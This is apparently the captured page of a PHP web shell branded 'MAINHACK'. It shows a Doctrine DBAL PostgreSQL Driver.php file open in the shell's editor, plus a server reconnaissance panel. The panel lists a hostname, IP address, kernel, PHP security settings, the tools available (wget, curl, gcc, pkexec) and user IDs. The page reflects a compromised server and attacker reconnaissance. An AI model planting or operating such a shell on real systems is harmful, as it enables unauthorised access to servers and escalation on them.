[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Driver.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Driver\PgSQL; use Doctrine\DBAL\Driver\AbstractPostgreSQLDriver; use ErrorException; use SensitiveParameter; use function addslashes; use function array_filter; use function array_keys; use function array_map; use function array_slice; use function array_values; use function func_get_args; use function implode; use function pg_connect; use function restore_error_handler; use function set_error_handler; use function sprintf; use const PGSQL_CONNECT_FORCE_NEW; final class Driver extends AbstractPostgreSQLDriver { /** {@inheritDoc} */ public function connect( #[SensitiveParameter] array $params, ): Connection { set_error_handler( static function (int $severity, string $message): never { throw new ErrorException($message, 0, $severity, ...array_slice(func_get_args(), 2, 2)); }, ); try { $connection = pg_connect($this->constructConnectionString($params), PGSQL_CONNECT_FORCE_NEW); } catch (ErrorException $e) { throw new Exception($e->getMessage(), '08006', 0, $e); } finally { restore_error_handler(); } if ($connection === false) { throw new Exception('Unable to connect to Postgres server.'); } $driverConnection = new Connection($connection); if (isset($params['application_name'])) { $driverConnection->exec('SET application_name = ' . $driverConnection->quote($params['application_name'])); } return $driverConnection; } /** * Constructs the Postgres connection string * * @param array<string, mixed> $params */ private function constructConnectionString( #[SensitiveParameter] array $params, ): string { $components = array_filter( [ 'host' => $params['host'] ?? null, 'port' => $params['port'] ?? null, 'dbname' => $params['dbname'] ?? 'postgres', 'user' => $params['user'] ?? null, 'password' => $params['password'] ?? null, 'sslmode' => $params['sslmode'] ?? null, 'gssencmode' => $params['gssencmode'] ?? null, ], static fn (int|string|null $value) => $value !== '' && $value !== null, ); return implode(' ', array_map( static fn (int|string $value, string $key) => sprintf("%s='%s'", $key, addslashes((string) $value)), array_values($components), array_keys($components), )); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002